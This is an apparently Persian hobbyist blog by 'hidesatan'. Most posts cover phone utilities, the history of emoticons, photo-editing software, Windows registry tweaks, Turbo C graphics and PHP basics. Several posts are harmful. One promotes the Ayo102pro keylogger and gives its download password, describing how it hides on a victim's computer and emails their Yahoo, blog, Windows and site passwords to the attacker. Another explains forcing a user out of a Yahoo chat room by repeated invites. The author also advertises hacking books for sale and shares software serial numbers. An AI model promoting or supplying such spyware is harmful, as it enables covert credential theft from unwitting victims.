|
|
این برنامه برای قطع تماستان بعد از گذشت زمانیکه شما از قبل تعیین کرده اید بکار می رود تا بتوانید هزینه مکالمه خودرا کاهش بدهید. شماره سریال این برنامه 5 تا صفر است.
نوشته شده در ساعت 22:13 توسط شیطان پنهان(hidesatan) این برنامه برای زمانهایی است که شما نمی توانید به تماسهای خود پاسخ دهید . به اینصورت که بنا بر تنظیم شما ، تماسها را رد کرده یا به برخی شماره ها sms با متن دلخواهتان رامی فرستد ویا تماس را به شماره مورد نظرتان دایورت می کند.
نوشته شده در ساعت 22:12 توسط شیطان پنهان(hidesatan) جهت ضبط صدا در هنگام مکالمه می باشد که مخصوص گوشی های Communicator (گوشی های سری S80 ) است .
نوشته شده در ساعت 22:12 توسط شیطان پنهان(hidesatan)
نوشته شده در ساعت 22:11 توسط شیطان پنهان(hidesatan) هنگام برقرار کردن ارتباط در اینترنت ، دشوارترین کار ، صرفنظر از درستنویسی هجاهای کلمات ، ابراز احساس واقعی است. هنگان چت کردن و میل زدن ، کلمات زیادی رد و بدل میشوند و بسیارند مواردی که گیرنده یک جمله ، سر در گم میشود که منظور واقعی فرستنده از یک عبارت چه بوده است. گیرنده نمیتواند از لحن یک عبارت مطمئن باشد ، آیا او با من شوخی میکرد؟ آیا واقعا منظورش همین بود؟ ولی در ساعت 11:44 ، 19 سپتامبر سال 1982 همه چیز عوض شد. در این تاریخ و در این زمان که البته هنوز خبری از اینترنت نبود ، «اسکات فالمن» Scott E. Fahlman ، استاد یکی از دانشگاه های پنسیلوانیا ، در یکی از بولتنهای الکترونیک نوشت: «من این ترتیب کارکترها را برای افراد بذلهگو پیشنهاد میکنم:
![]()
به این ترتیب این آقای فالمن بود که نخستین بار نسخه الکترونیکی لبخند را به همگان شناساند. در طی روزها و ماههای بعد سایر دانشگاهها هم متوجه ابتکار آقای فالمن شدند و خندانکهای زیادی را ابداع کردند. البته بعضیها اظهار کردهاند که تلگرافچیها هم قبلا چنین ابتکاری را به خرج داده بودند و آقای فالمن شاید نخستین کسی باشد که در جوامع الکترونیک نوین از این توالی سکانسها برای بیان احساسات استفاده کرده است.
جالب اینجاست که در اینجا خواندم کاربران اینترنت در ژاپن ، وقتی از خندانکها استفاده میکنند ، بیشتر روی حالت چشم تأکید دارند ، در حالی که کاربران غربی تأکیدشان بیشتر بر روی حالت دهان است. مثلا وقتی میخواهند بگویم خوشحال شدم ، مینویسند \(^ ^)/ ، گریه را اینطوری نشان میدهند: (ToT) ، و اینطوری حرف مخاطبشان را تصدیق میکنند : (゚ー゚)(。_。)
این هم سایت آقای اسکات فالمن
نوشته شده در ساعت 18:13 توسط شیطان پنهان(hidesatan)
به قول دوستی ایران یک میکروپروسسور ۸ بیتی هم نساخته و مدعی ساختن «سوپرکامپیوتر» است (: ماجرا از این قرار است که شما هر چند تا کامپیوتر با سیستم عامل لینوکس که داشته باشید، می توانید در یک شبکه و فقط با استفاده از دو نرم افزار رایگان آزاد قابل دریافت از اینترنت آن ها را با هم موازی (از نظر فنی کلاستر) کنید و قدرت پردازشی بالاتری به دست بیاورید. عملا ما با این هیاهو پیوسته ایم به آدم هایی که برای کارهایی مثل رندر تصاویر در خانه شان از اینترنت این برنامه ها را دانلود می کنند و استفاده. البته به نفسه، ساخت این کلاستر دوست داشتنی است و یک قدم به جلو و من خوشحالم ولی وقتی بحث می کشد به دروغ گفتن و مساله را جوری جلوه دادن که انگار ما چیزی به علم اضافه کرده ایم، بدم می آید. این خبر می توانست این گونه باشد «ایران با کلاستر کردن فلان قدر میکروپروسسور، قدرت پردازشی فلان را به دست آورد که در خاور میانه منحصر به فرد است (که البته من شک دارم). از این کامپیوتر در کارهای هواشناسی استفاده خواهد شد.» ولی وقتی به دروغ جوری جلوه داده می شود که ما قهرمان جهان هستیم (با تقلید تکنولوژی ای که هندی ها حدود ده سال قبل اختراع کردند و در اختیار همه گذاشتند)، حالت تهوع به آدم دست می دهد منبع: freekeyboard نوشته شده در ساعت 18:10 توسط شیطان پنهان(hidesatan) بچه ها سلام شرمنده اگر مطالب بلاگ یه خورده بد شده آخه هم کلاس میرم هم کار میکنم و خلاصه سرم خیلی شلوغه اما از هفته ی دیگه یه خرده کارم کمتر میشه و بیشتر به این شیطون کوچولی خودمون میرسیم و امید وارم که از مطالب آیندم خوشتون بیاد راستی هنوز یه خرده از اون کتابایی که خودم نوشتم مونده در مورد هک و خیلی نرم افزار دبگه بود یه ۱۰۰ تا ازش زدم حدود ۲۰ تا دیگش مونده قیمتشم ۷۰۰۰ تومان است هرکی خواست فقط کافی یه این شماره زنگ بزنه ۰۹۱۷۷۰۵۴۳۹۷ یاآدرس خودشو تو نظرا بنویسه دذ نوشته شده در ساعت 22:15 توسط شیطان پنهان(hidesatan) سلام بچه ها گفتم شاید خسته شده باشید یه خرده از هک و ویروس نویسی اومدم کنار
نوشته شده در ساعت 14:25 توسط شیطان پنهان(hidesatan)
PC Image Editor Features: Browse images in thumbnail mode. - Import and export various graphic formats, including BMP, GIF, JPG, TIFF, PCX, PNG, TGA, J2K, WMF, EMF, and RAS. - Apply 18 filters such as Blur, Sharp, Add Noise, Diffuse, Mosaic, Twirl, Emboss, and etc. - Add image effects such as Rotate 90°, 180° and Arbitrary, Flip Horizontal and Vertical, Crop, Perspective, Skew, and etc. - With 12 adjustment commands such as Auto Levels, Auto Contrast, Brightness, Contrast, Gamma Channel, Hue, Saturation, RGB Channel, Invert, Colorize, Equalize, Threshold, Posterize, and etc. - Setting an image as the desktop wallpaper. - Print images with full functionality. - Also ability to resize images. - Free update for any new version. .
نوشته شده در ساعت 14:11 توسط شیطان پنهان(hidesatan)
در این مطلب شما را با نرم افزاری آشنا خواهیم ساخت که به کمک آن می توانید اقدام به ساخت عکس ها به شکل پانوراما نمایید.
Pano2QTVR نام نرم افزاری می باشد که کاربران به وسیله آن میتوانند با قرار دادن عکس های مرتبط به یک محیط در کنار یکدیگر تصاویر پانورام را با فرمت های Flash و تصاویر QuickTime ایجاد نمایید. این نرم افزار با ابزاری حرفه ای که کاربرد آن ها بسیار ساده می باشد به کاربران این قدرت را می دهد که به راحتی بتوانند هر تصویر دلخواهی را به صورت پانوراما ایجاد کنند. در این نرم افزار همان گونه که اشاره شد می توان تصاویر را در دو فرمت SWF که مربوط به فایل های فلش و MOV که مربوط به فایل های QTime می باشد ذخیره سازی نمودو از مزیت های این ویژگی این است که می توان به راحتی از تصاویر تحت فلش در صفحات وب نیز استفاده نمود تا ببیندگان یک صفحه وب نیز بتوانند از این تصاویر استفاده کنند.
از ویژگی های این نرم افزار می توان به موارد زیر اشاره نمود: - توانایی ساخت پانوراما از عکس اشیاء - قابلیت ساخت پانوراما از تصاویر معمولی - توانایی ذخیره سازی در فرمت SWF - توانایی ذخیره سازی در فرمت MOV - قابلیت قرار دادن جزئیات نوشتاری بر روی تصاویر - دارای ویژگی مربوط به جلوگیری از کاهش کیفیت تصاویر - دارای رابط گرافیکی کاربری زیبا و حرفه ای - قابلیت قرار دادن فایل های صوتی بر روی تصاویر و پخش آن ها در هنگام مشاهده پانوراما - توانایی قرار دادن کلیپ های تصویری فلش در تصاویر و ... .
نوشته شده در ساعت 14:6 توسط شیطان پنهان(hidesatan)
شما با کمک این پلاگین می توانید به راحتی پشت زمینه عکس دلخواهتان را در نرم افزار قدتمند گرافیکی فتوشاپ برداشته و پشت زمینه دلخواهتان را به آن اضافه کنید . برای استفاده ابتدا شما باید این پلاگین را در فتوشاپ نصب کنید و سپس از آن استفاده کنید. با حجم444 کیلو بایت نوشته شده در ساعت 14:1 توسط شیطان پنهان(hidesatan) برای ترمیم و زیبا سازی تصاویر صورت گرفته شده چه توسط دوربین دیجیتال و چه سایر تصاویر دیجیتالی، استفاده از نرم افزاری تخصصی این فن می تواند بسیار مفید تر از استفاده از نرم افزار های غول گرافیکی دنیا همچون فتوشاپ باشد. خواه انکه کارکردن با چنین ابرنرم افزار هایی نیاز مهارت و آموزش پیشین دارد و افراد آماتور از استفاده از آنها بی بهره خواهند ماند به علاوه همان نرم افزارهای غول گرافیکی نیز برای تخصصی کار کردن نیاز به افزودن فیلتر ها و پلاگین های مخصوص دارند که کار در این زمینه برای کاربر نه چندان حرفه ای بسیار دشوار می شود . یکی از نرم افزار برتر دنیا برای زیبا سازی تصاویر، سری نرم افزارهای FaceFilter Studio کمپانی Reallusion است به تازگی نسخه 2.0 از این نرم افزار بسیار مفید عرضه شده است که با خود ویژگی های قدرتمند و نوینی را به همراه می آورد . ویژگی های جدید ارائه شده در نرم افزار FaceFilter Studio 2.0 : - بهبود چشمگیر در بخش های قدرتمند و هوشمند تنظیم رنگ خودکار که به خوبی و به گونه ای هوشمندانه صورت انسان را تشخیص داده و به ترمیم تمامی ایراد های جزئی آن می پردازد و تصویری با کیفیت و زیبا را به شما تحویل می دهد . - رفع هوشمندانه و بسیار قدرتمند قرمزی چشم که ناشی از فلش دوربین هاست . - چاپ عالی و با کیفیت تصاویر با یک کلیک . - پشتیبانی از روتوش و ویرایش تصاویر بسیار با کیفیت حتی با رزولوشنی بیش از 12 مگاپیکسل !
تلاش برای هر چه طبیعی تر ساختن تصاویر صورت حاصله - حذف یا تغییر در حالات بد صورت - باز یا بسته کردن چشم ها - تنظیم چاقی یا لاغری صورت - زیبا سازی و تمیز کردن جزئیات چهره بهره گیری از فن آوری های نوین زیبا سازی و رفع عیوب پوست - تغییر یا تنظیم رنگ پوست به گونه ای طبیعی - مخفی کردن ایراد های صورت همچون خال، جوش، زخم و .... - حذف هرگونه زایده پوستی و نازیبایی های پیش آمده در پوست صورت . - کم کردن گودی و سیاهی زیر چشم در تصاویر . اصلاح هوشمندانه و قدرتمند تصاویر - تشخیص خودکار و هوشمندانه رنگ و نوع پوست و ایجاد تغییرات لازمه برای هرچه زیباتر و طبیعی تر و مرغوب کردن آن . - بهبود در توازن و تنظیم رنگ صورت با یک کلیک . - کاستن قرمزی چشم ناشی از فلش تنها با یک کلیک به گونه ای طبیعی . - آرایش و ایجاد تغییرات در آرایش صورت . سادگی و قدرت بالای نرم افزار در ویرایش تصاویر صورت تنها در 5 مرحله و ..... این نسخه از نرم افزار با نسخه های 2000/XP/VISTA از سیستم عامل ویندوز سازگاری کامل دارد . جزئیات کامل تر به زبان سایت سازنده ..... FaceFilter Studio را می توانید از اینجا :
شماره سريال مورد نياز : نوشته شده در ساعت 13:59 توسط شیطان پنهان(hidesatan) Morph نام ابزاری است که به شما این توانایی را می دهد تا بر روی عکس های خود و یا هر شخصیت دیگری افکت ها و شکل های خنده دار قرار دهید. این نرم افزار با ادقام دو عکس با یکدیگر و ایجاد افکت ها عکس ها را به حالتی تبدیل می کند که شبیه به مونتاژ می باشد. به عنوان مثال شما یک عکس چهره یکی از دوستان را با عکس یکی از بازیگران مشهور در برنامه وارد می کنید و با اعمال تغییرات و انجام تغییرات تصویر به گونه ای ساخته خواهد شد که عکس اولیه به تغییر حالت ها به عکس دوم تبدیل می شود. برای درک بهتر این موضوع به نمونه های تصاویر ساخته شده در زیز دقت کنید. این نرم افزار توانایی ذخیره سازی تصاویر به فرمت های نظیر AVI که مختص فایل های تصویری می باشد ، به صورت کارت تبریک ، انمیشن های gif و ... را دارا می باشد.
از ویژگی های این نرم افزار می توان به موارد زیر اشاره کرد: - ساخت تصاویر و ایجاد افکت ها در سه مرحله - توانایی اعمال تنظیمات در کوتاه ترین زمان ممکن برای ساخت تصاویر - دارای ابزار قدرتمند برای ویرایش عکس ها - استفاده آسان از برنامه به صورت کاملا گرافیکی - به اشتراک گذاری فایل ها برای دوستان از طریق EMail و ساخت تصاویر به صورت کارت های تبریک - قابلیت ذخیره سازی تصاویر در انواع مختلف فرمت های تصویری مانند AVI, SWF, GIF و حتی به صورت صفحات وب و ... .
جزئیات کامل تر به زبان سایت سازنده ....
نوشته شده در ساعت 13:54 توسط شیطان پنهان(hidesatan)
نوشته شده در ساعت 13:50 توسط شیطان پنهان(hidesatan) 1.وارد RUN شوید وتایپ کنید regedit حالا به آدرس زیر بروید : HKEY-CURRENT-USER / soft ware / microsaft / windows / corrent vesion / policies / explorer یک متغییر از نوع DWORD با نام Noclose بسازید وگر وجود دارد فقط آن را تغییر دهید و مقدارش را 1 قرار دهید همین کار را برای کلید زیر نیز انجام دهید : HKEY-LOCAL-MACHINE / soft war / microsoft / windows / current version / policies / explorer در ضمن برای دوباره فعال کردن گزینه مقدار متغیر فوق را صفر کنید . 2.روی desktop کلیک راست کنید سپس گزینه ی آخر یعنی properties را انتخاب کنید بعد به قسمت setting می رویم وبعد گزینه ی adranced مراجعه می کنیم بعد به adaptor رفته و peroperties را بزنید سپس به rescoures می رویم و memory rany را انتخاب می کنیم و بعد OK را می زنیم. البته این کار بر روی همه ی کامپیوتر ها اجرا نمی شود نوشته شده در ساعت 12:39 توسط شیطان پنهان(hidesatan) *control panel را باز می کنیم و به آدرس زیر می رویم : phon and modem / option / modem /properties / advanced در قسمت extra setting عبارت s10=50 را وارد کنید اگر در این قسمت عبارتی نوشته بود آن را با یک کاما از دستور بعدی جدا کنید . . . .
*1.برای این کار از منوی start گزینه ی run را انتخاب کرده و regedit را تایپ کنید و اینتر را بزنید . 2.حالا به آدرس زیر بروید : HKEY-LOCAL-MACHINE / soft ware / microsoft / windows / curren version / explorer / desktop / nam espace 3.حالا پوشه ای به نام 645ff040-5081 شروع می شود حذف کنید .
نوشته شده در ساعت 12:38 توسط شیطان پنهان(hidesatan) ابتدا با ID خود وارد یاهو شوید بعد گزینه ی messenger در بالا گزینه ی my account info را انتخاب کنید . پس از این که روی گزینه ی my account info کلیک کردید یک صفحه باز می شود که باید پسورد ایمیل خود را وارد کنید و اینتر را بزنید تا وارد قسمت تنظیمات ایمیل یاهو شوید .پس از این که وارد صفحه ی جدید شدید روی قسمت change password کلیک کنید . بعد از ورود به change password سه کادر وجود دارد : current password :پسورد قبلی new password :پسورد جدید new password:تایید پسورد جدید حالا دکمه ی save را بزنید . *ابتدا در run کلمه ی regedit را تایپ کرده بعد در پنجره ی باز شده به آدرس زیر بروید: 1.HKEY-CURRENT-USER 2.softwar 3.yahoo 4.pager بعد روی save password رفته و عدد صفر را به 100 یا 110 تغییر بدهید حالا سری به یاهو بزنید. نوشته شده در ساعت 12:37 توسط شیطان پنهان(hidesatan) در روم تایپ کنید /...invite به جای (...) ID شخص مورد نظر را تایپ منید این کار را چند بار انخام دهید تا طرف از روم برود . . . . . *ابتدا در run کلمه ی regedit را بنویسید به آدرس زیر بروید : HKEY-CURRENT-USER / softwar / yahoo / pager / yurl حالا دو متغیر از نوع string value با نام های chat adurl و confadurl بسازید و مقادیر این دو متغیر قرار دهید:file:///c: حالا وارد چت روم یاهو شوید .در صورتی که از نسخه های جدید یاهو استفاده می کنید بعد از زدن Enter chat در چت روم ممکن است با یک پیام اخطار روبه رو شوید در این صورت روی آن کلیک کنید واز تبلیغات یاهو راحت شوید نوشته شده در ساعت 12:34 توسط شیطان پنهان(hidesatan)
در محيط گرافيك در زبانهاي برنامه نويسي تحت DOS اشكال ساده مثل مستطيل و دايره را مي توان با پاك كردن و كشيدن مجدد براحتي جابجا نمود اما حركت اشكال پيچيده با اين روش بسيار وقت گير مي باشد بطوريكه پاك كردن و كشيدن دوباره شكل كاملا به چشم مي آيد. در چنين مواقعي مي بايست شكل مورد نظر را كه در داخل يك مستطيل فرضي قرار دارد , وارد يك حافظه كمكي نمود و محتويات اين حافظه را در نقطه اي دلخواه در صفحه چاپ كرد . در ابتداي كار يك متغير از نوع int تعريف كنيد كه اندازه شكل محاسبه شود و در آن قرار گيرد. يك متغير نيز از نوع *void تعريف كنيد كه در واقع بافري است كه رنگ پيكسل هاي مستطيل در آن به ترتيب قرار مي گيرند تا در موقع لزوم به همان ترتيب چاپ شوند:
حال مي بايست اندازه مستطيل را با تابع imagesize محاسبه و در متغير size بريزيد:
كه پارامتر هاي آن به ترتيب مختصات گوشه بالاي سمت چپ مستطيل و گوشه پايين سمت راست آن مي باشند. حال حافظه اي را با تابع malloc به اندازه size به buffer اختصاص دهيد:
الگوي اين تابع در سر فايل alloc.h قرار دارد.(الگوي ساير توابع گفته شده در graphics.h مي باشد.) حال نوبت به خواندن پيكسلهاي مستطيل مي باشد. اين كار را با تابع getimage انجام دهيد كه پيكسلها را خوانده و در بافر قرار مي دهد:
كار ما براي خواندن مستطيل به پايان رسيده است . فقط كافيست بافر خوانده شده را با تابع putimage در نقطه دلخواه چاپ كنيم :
دو پارامتر اول اين تابع مختصات نقطه مقصد مي باشند .(گوشه بالاي سمت چپ مستطيل در مقصد) پارامتر دوم بافر محتوي شكل و پارامتر سوم تعيين كننده نوع چاپ شدن شكل مي باشد كه داراي حالات زير است :
دقت كنيد كه در پايان برنامه حتما حافظه گرفته شده با دستور malloc را آزاد كنيد:
توجه كنيد كه شكل لزوما يك مستطيل نيست بلكه براي ذخيره سازي شكل در حافظه يك مستطيل فرضي دور شكل در نظر گرفته مي شود . براي مثال ميتوانيد كد زير را كپي كرده و در محيط TC اجرا كنيد :
نوشته شده در ساعت 12:33 توسط شیطان پنهان(hidesatan) کی لاگر ها یا همان جاسوس ها برنامه هایی هستند که در سیستم قربانی نشسته و مخفی میمانند . طوری که قربانی هر کلیدی را در صفحه کیبورد تایپ کند , کلید های زده شده به ایمیل هکر میل میشوند . شما با کی لاگر Ayo102pro قادر خواهید بود کل پسورد های کامپیوتر قربانی از جمله : پسورد آیدی قربانی , پسورد وبلاگ قربانی , پسورد ویندوز قربانی و همچنین پسورد عضویت تمام سایتهایی که قربانی در آن حضور دارد را در ایمیل خود دریافت کنید . قابلیت های برنامه :
پسورد برنامه : www.j3n4y4t.blogfa.com
مدت رمان دانلود : ۱ دقیقه و ۲ ثانیه نوشته شده در ساعت 12:32 توسط شیطان پنهان(hidesatan) آرایه چیست؟وقتی شما با php کار می کنید قادرید تعداد زیادی متغیر تعریف کنید. در عوض اینکه شما تعداد زیادی متغیر تعریف کنید می تونید مقادیر منغیرهاتون رو در آرایه ذخیره کنید. هر چیز ذخیره شده در آرایه دارای یک شناسه مخصوص خود است که ما را قادر می کنه راحت بهشون دسترسی داشته باشیم. ما 3 نوع آرایه داریم. 1.آرایه های با شاخص عددی :یعنی اندیس آرایه (شناسه دسترسی) به صورت عددی است که از 0 شروع می شه. 2.آرایه های انجمنی : آرایه هایی هستند که به جای اعداد از دنباله های کارکتری جهت شاخص گذاری درآنها استفاده می شود. 3.آرایه های چندبعدی : آرایه هایی که خودشون شامل آرایه های دیگر هستند. آرایه های با شاخص عددی :راه های مختلف برای ایجاد آرایه با شاخص عددی Example1در این مثال شاخص ها به صورت اتوماتیک از صفر به بالا به عناصر آرایه نسبت داده می شوند
Example 2در این مثال شاخص ها به صورت دستی نسبت داده می شوند
طریقه استفاده
خروجی کد بالا
آرایه های انجمنی آرایه هایی هستند که به جای اعداد از دنباله های کارکتری جهت شاخص گذاری درآنها استفاده می شود. وقتی که ما چیزهای مهمی را می خواهیم در آرایه قرار بدیم بهتره که از این آرایه استفاده کنیم تا کلید دسترسی (شاخص) راخودمون درست کنیم تا راحت تر برنامه نویسی کنیم. Example 1به طریقه تعریف شاخص ها توجه کنید
Example 2همون آرایه بالا هستش فقط به صورت دیگه ای تعریف شده
طریقه استفاده
خروجی کد بالا:
آرایه های چندبعدی: در آرایه های چند بعدی هر عنصر آرایه خود یک آرایه دیگر است که می تواند یک آرایه یک بعدی یا چند بعدی باشد Exampleدر این مثال ما آرایه ای چندبعدی درست کردیم که مقادر ان (آرایه درونی) به صورت اتوماتیکی شاخص بندی شده است. برای تجزیه و تحلیل بهتر می تونید روی کاغذ این آرایه رو بنویسید و خوب تحلیل کنید تا فهم درستی از طراحی این آرایه پیدا کنید
همون آرایه بالا هستش اما به صورت راحت تری تعریف کردیم که قابل فهم تر است
Example 2طریقه استفاده
خروجی کد بالا:
حلقه ها و .... در درسهای قبلی همواره کدها در یک جهت حرکت می کردند. در واقع خط به خط کدهای ما اجرا می شد و جلو می رفت. این روش جایی برای کدنویسی منعطف نمی گذارد. در این درس می خوانیم : چگونه یک کد را وقتی اجرا کنیم که یک عبارت True باشد. IF CLAUSE چگونه قسمت دیگری از کد اجرا شود وقتی که همان عبارت False شود. ELSE چگونه از دستور switch استفاده کنیم. چگونه یک قسمت از کد را چند مربطه اجرا کنیم . while چگونه از FOR برای اجرای حلقه استفاده کنیم. چگونه یک حلقه FOR را قطع کنیم. اغلب script ها نیاز به تغییر خروجی در شرایط مختلف دارند. با استفاده از IF شما می توانید خروجی کدهای خودتون را در php با توجه به یک سری شرایط تغییر دهید. IF IF عبارت داخل پرانتز جلوی خود را کنترل می کند و درصورتی که Trueباشد آن قسمت از کد را اجر می نماید. PHP Code:
PHP Code:
در خط 8 کد بالا ما از == استفاده کردیم تا کنترل کنیم که mood مقدار happy را در خود دارد یا خبر. از { و } فقط وقتی استفاده می کنیم که کدهای ما بیشتر از یک خط باشند. کد بالا رو به صورت زیر نیز می توان نوشت : PHP Code:
استفاده از ELSE در IF فرمت کلی آن به صورت زیر است : PHP Code:
PHP Code:
به صورت Code:
استفاده از ElseIf ElseIf مجددا یک عبارت دیگر را اجرا می نماید و در صورت True بودن دستورات داخلش اجرا خواهد شد. فرمت کلی به صورت زیر است : PHP Code:
می شود که هیچ کدام از عبارات IF و Elseif درست نباشند. شما به هر تعداد که می خواهید می توانید esleif در کدتان بگذارید. و در نهایت Else دلخواه است و می تواند در کد وجود نداشته باشد. PHP Code:
کدهای قسمت دوم اجرا می شوند. دستور Switch این دستور روش دیگری برای تغییر مسیر حرکت اجرا شدن کدهاست. دستور switch فقط یک عبارت رو چک می کند و می تواند این عبارت را با مقادیر متفاوتی مقایسه کند و فقط کدی را اجرا کند که مقدار مورد نظر در آن True شود. فرمت کلی به صورت زیر است : PHP Code:
مختلفی را می بینید که مقدار متغیر switch با همه این case ها مقایسه می شود و وقتی که مقدار ها با هم برابر بود کد مربوطه اجرا می شود. گذاشتن قسمت default اختیاری است. در صورتی که متغیر با هیچ کدام از مقادیر caseها برابر نباشد ، دستورات داخل default اجرا خواهد شد. احتیاط : دقت کنید که کلمه break در انتهای هر case را حتما بگذارید. در غیر اینصورت کد بعد از اجرا کردن case مورد نظر به راه خود ادامه می دهد و به مقدار default می رسد و آن را نیز اجرا می کند و این در اکثر مواقع چیزی نیست که ما دنبالش باشیم. دستور break در واقع از کل کدهای case خارج شده و به انتهای دستور switch می رود. مثال : PHP Code:
می رود در آنجا چون mood=sad است کد خط 11 و سپس خط 12 را اجرا می کند. در خط 12 با دیدن دستور break به خط 18 می رود. روش جالب عملگر شرطی علامت سوال (؟) من اسم این روش رو IF یک خطی گذاشتم ! در این روش شما بدون نیاز به نوشتن دستورات IF می توانید تابع شرطی ایجاد کنید که در آن عبارتی چک شود و در صورت درست بودن یک سری کد اجرا شود و در صورت اشتباه بودن کد دیگر. PHP Code:
PHP Code:
در مثال بالا در خط 8 از این روش استفاده شده است. در اینجا متغیر moodبا مقدار happy مقایسه می شود اگر درست بود خواهد نوشتHooray, Im in good mood و در غیر اینصورت (که اینجا اینطور نیست) می نویسد Not Happy But $mood که چون اینجا $mood مقدار Sad دارد خروجی می شود Not Happy But Sad. نوشتن و خواندن کد اینطوری کمی سخت است ولی اگر شما فقط یک شرایط رو بخواهید چک کنید و علاقه به نوشتن کدهای فشرده دارید این روش بسیار خوبی است. حلقه ها تا به حال روشهایی را دیدید که به وسیله آن کد می تواند بین اینکه کدام کد را اجرا کند انتخاب داشته باشد. همچنین کد می تواند تصمیم بگیرد که چند دفعه یک قسمت را اجرا کند. حلقه های برای این ایجاد شده اند که به شما اجازه دهند یک عملیات را چند مرتبه اجرا نمایید. تقریبا بدون استثناء ، همه حلقه ها آنقدر اجرا می شوند تا اینکه یک شرایطی (که از توسط شما مشخص می شود) اتفاق بیافتد و یا اینکه شما شخصا دستور قطع و خروج از loop را بدهید. while PHP Code:
تا وقتی که عبارت while (منظور همان expression داخل پرانتز جلوی آن است) True باشد کد داخل while پشت سر هم اجرا می شود. معمولا شما در داخل حلقه کاری می کنید که عبارت مرتبا تغییر نماید و یک جا False شود در غیر اینصورت حلقه شما تا بینهایت اجرا می شود. مثال زیر حلقه ای ایجاد می کند و مضارب 2 را نمایش می دهد. PHP Code:
و در خط 11 به counter دو عدد اضافه می کنیم. روش ++ را در درس قبلی خواندیم. پس خروجی برنامه می شود. 2 - 4 - 8 - 10 - 12 اگر شما در خط 11 فراموش می کردید که counter را زیاد کنید این حلقه تا بینهایت اجرا می شد چون هیچگاه counter زیاد نمی شد و هیچوقت از 12 بیشتر نمی شد. حلقه do و while این حلقه شبیه حلقه while است فقط سر و ته شده است ! بزرگترین فرق آن این است که ابتدا کدها اجرا می شوند و بعد درستی یا نادرستی عبارت چک می شود. PHP Code:
توجه : آخر عبارت while در خط آخر حتما باید ; گذاشته شود. این متد وقتی خیلی به درد می خورد که شما بخواهید کد شما حداقل یکبار اجرا شود حتی اگر شرایط عبارت while اتفاق نیافتاده باشد. PHP Code:
ولی در هر حال خروجی کد حداقل یک خط است که نوشته می شود Execution numnber : 1 . حقله For شما هیچ چیزی از استفاده از For به دست نمی آورید که نتوانید با While آن را ایجاد کنید. ولی در هر حال در اغلب مواقع استفاده از For کدهای زیباتر و بهتری نسبت به while ایجاد می کند. فرمت کلی به صورت زیر است : PHP Code:
هر عبارت داخل for باید حتما با ; از هم جدا شوند. معمولا ، عبارت اول یک متغیر شمارنده ایجاد می کند ، و در عبارت دوم عبارت کنترلی برای loop است ، و قسمت سوم اضافه کردن و کم نمودن متغیر را ایجاد می کند. مثال : PHP Code:
در خط 7 بالا می توانید ببینید ، در قسمت اول counter را مساوی 1 نمودیم و در عبارت وسط محدود کردیم که حلقه تا وقتی کار کند که counter از 12 کوچکتر و یا مساوی آن باشد. در قسمت سوم هم عبارتی است که هر بار که کد اجرا شود یک عدد به counter اضافه نماید. مثال بالا و مثال قبلی هر دو یک خروجی را می دهند فقط کد for کمی جمع و جور تر از while است. به علت اینکه شروع ، پایان و شرایط حلقه در همان خط اول در For مشخص است ، با یک نگاه به این نوع حلقه کل حقله دستمان می آید. خروج از حلقه با استفاده از دستور break در هر دو روش ایجاد حلقه دستوری برای پایان دادن حلقه وجود دارد. گاهی اوقات نیاز است که وقتی کد به شرایط خاصی رسید حلقه پایان یابد. مثلا : PHP Code:
گرفته شود و کاربر مثلا عددی منفی بزند یا صفر وارد نماید و یا اینکه یک کلمه به جای عدد وارد کند. در این صورت ما باید حلقه رو قطع کنیم چون می دونیم که تقسیم کردن یک عدد بر صفر ایجاد خطا در php می کند. مثلا فرض کنید از -4 شروع کنیم تا 10 این وسط صفر هم جزو مقادیر counter خواهد شد. PHP Code:
خط 14 می رود. نکته جالب در کد بالا در خط 7 است که ما counter را خارج از حلقه تعریف نمودیم. بنابراین در خط 8 دیگه counter رو تعریف نکردیم و جاش رو خالی گذاشتیم. شما هر کدام از قسمتهای for رو می تونید خالی بگذارید ولی ; ها رو حتما باید بگذارید. استفاده از دستور continue خوب ، حالا فرض کنید که ما در کد بالا نمی خواهیم که وقتی به صفر رسید کد قطع شود و فقط می خواهیم که حلقه برای مقدار صفر اجرا نشود ولی باقی مقادیر اجرا شود. در این حالت از دستور continue استفاده می کنیم. PHP Code:
در کد بالا در خط 10 و 11 وقتی مقدار counter صفر شود ، حلقه قطع می شود و دوباره کد بر می گردد به خط 8 ولی فقط مقدار صفر رو اجرا نخواهد کرد. حلقه های تو در تو در php این قابلیت رو دارید که در داخل یک حقله یک یا چند حلقه دیگه رو نیز بیارید. ولی باید توجه داشته باشید که هر حلقه ای که در یک حلقه دیگر استفاده می کنید باید در همان حلقه تمام شود. مثلا : PHP Code:
عملگرها :
در درس های قبلی یاد گرفتیم که مقدار به متغیر بدهیم و data type متغیر ها رو تغییر بدهیم. یک زبان برنامه نویسی تا وقتی که نتونیم به وسیله اون بر روی متغیرها عملیات ریاضی انجام بدیم در واقع به درد نمی خوره. عملگرها سمبول هایی هستند که به وسیله اون می تونیم با استفاده از چند مقدار ، مقدار جدیدی رو تولید کنیم. یک عملگر به عنوان مثال همون + است. 4 + 5 = 9 در اینجا ما از عملگر + استفاده کردیم تا با استفاده از دو مقدار 4 و 5 مقدار جدید 9 را تولید کنیم. عملگر مقدار ده یا همون ( = ) کارش اینه که مقدار سمت راست خودش رو توی متغیر سمت چپ می ریزه. PHP Code:
دستور بالا کلمه matt رو چاپ می کند و همچنین متغیر name رو مساوی matt قرار می دهد. عملگرهای ریاضی : PHP Code:
عملگر پیوند دهنده یا همان ( . ) این عملگر وظیفه پیوند دادن متغیر های متنی رو دارد. به عنوان مثال : PHP Code:
در php یک سری عملگرهای دیگه ای برای مقدار دهی دارد. += عملگری است که با استفاده از اون متغیر با خودش جمع می شود. مثلا PHP Code:
PHP Code:
عملگرهای مقایسه ای عملگرهای مقایسه ای بر روی متغیرها اعمال می شود و مقایسه می کند و در صورت درست بودن True و در صورت غلط بودن False بر می گرداند. مثلا PHP Code:
مثلا == مقدار سمت راست و سمت چپ رو چک می کند. اگه مثلا ما x رو 4 قرار داده باشیم. PHP Code:
!= چک می کند که مقدار سمت راست و چپ برابر نباشند و اگر x همان 4 باشد : PHP Code:
True را بر می گرداند. === چک می کند که مقدار چپ و راست برابر باشند و همچنین نوع دیتا آنها Data type آنها یکی باشد. علامت بزرگتر و کوچکتر و بزرگتر مساوی و کوچکتر مساوی نیز به همین صورت. عملگرهای منطقی اولین عملگر منطقی همان عملگر or (یا) می باشد. دیگر نشانه این عملگر || می باشد. مثلا PHP Code:
مقدار True را بر می گرداند. && فقط وقتی True برمی گرداند که هر دو طرف True باشند. مثلا PHP Code:
